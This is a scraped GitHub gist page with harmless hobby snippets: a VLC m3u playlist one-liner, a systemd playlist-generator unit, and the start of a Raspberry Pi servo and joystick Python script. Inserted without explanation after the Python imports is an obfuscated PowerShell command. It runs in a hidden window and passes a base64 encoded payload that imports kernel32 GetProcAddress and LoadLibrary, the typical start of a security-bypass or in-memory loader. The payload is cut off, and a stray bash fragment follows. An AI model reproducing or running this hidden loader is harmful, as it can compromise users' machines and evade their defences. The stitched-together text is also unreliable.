Skip to content

Instantly share code, notes, and snippets.

@TheyCallMeLinux
TheyCallMeLinux / gist:5a12fb06d9d3ffd52c0814970e5f1a14
Created February 22, 2023 01:42
VLC make playlist m3u from current pwd
find "$PWD" -type f \( -name '*.webm' -o -name '*.mp4' -o -name '*.avi' \) -printf "#EXTINF:%s,%f\n%P\n" | sed 's/ /%20/g;s/\[/%5B/g;s/\]/%5D/g' > playlist.m3u
@TheyCallMeLinux
TheyCallMeLinux / gist:cdc59d9852f56bbdb2e1bc2aa465dc26
Created February 22, 2023 02:34
m3u Playlist generator daemon
[Unit]
Description=Playlist generator daemon
[Service]
User=user
WorkingDirectory=/home/user
Type=simple
Environment="LC_ALL=en_US.UTF-8"
Environment="LANG=en_US.UTF-8"
ExecStart=/bin/sh -c 'while inotifywait --exclude .*.swp --exclude .*.swo --exclude .*.swx -q -r -e create,modify,move /home/user/Videos; do /home/user/Videos/playlist-generator-script.sh; done'
@TheyCallMeLinux
TheyCallMeLinux / logitech_attack3_rpi.py
Created April 1, 2023 03:36
Python code for PCA9685 Servo Controller and Joystick Control
#!/usr/bin/env python
import time
import Adafruit_PCA9685
import evdev
# Initialise the PCA9685 using the default address (0x40).
pwm = Adafruit_PCA9685.PCA9685()
# Set frequency to 60hz, good for servos.
powershell /w 1 /C "sv Bvc -;sv HP ec;sv cR ((gv Bvc).value.toString()+(gv HP).value.toString());powershell (gv cR).value.toString() ('JAByAGEARwB1AEMAVgBEAEgAcQAgAD0AIABAACIACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIABXAGkAbgAzADIAIAB7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAIgArACIAMgAiACsAIgAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AFAAcgBvAGMAQQBkAGQAcgBlAHMAcwAoAEkAbgB0AFAAdAByACAAaABNAG8AZAB1AGwAZQAsACAAcwB0AHIAaQBuAGcAIABwAHIAbwBjAE4AYQBtAGUAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAIgArACIAMgAiACsAIgAiACkAXQAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAATABvAGEAZABMAGkAYgByAGEAcgB5ACgAcwB0AHIAaQBuAGcAIABuAGEAbQBlACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzACIAKwAiADIAIgArACIAIgApAF0AIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAVgBpAHIAd
#!/bin/bash
if [ "$#" -ne 1 ]; then
echo "Usage: $0 <normal|extended>"
exit 1
fi
MODE=$1
case $MODE in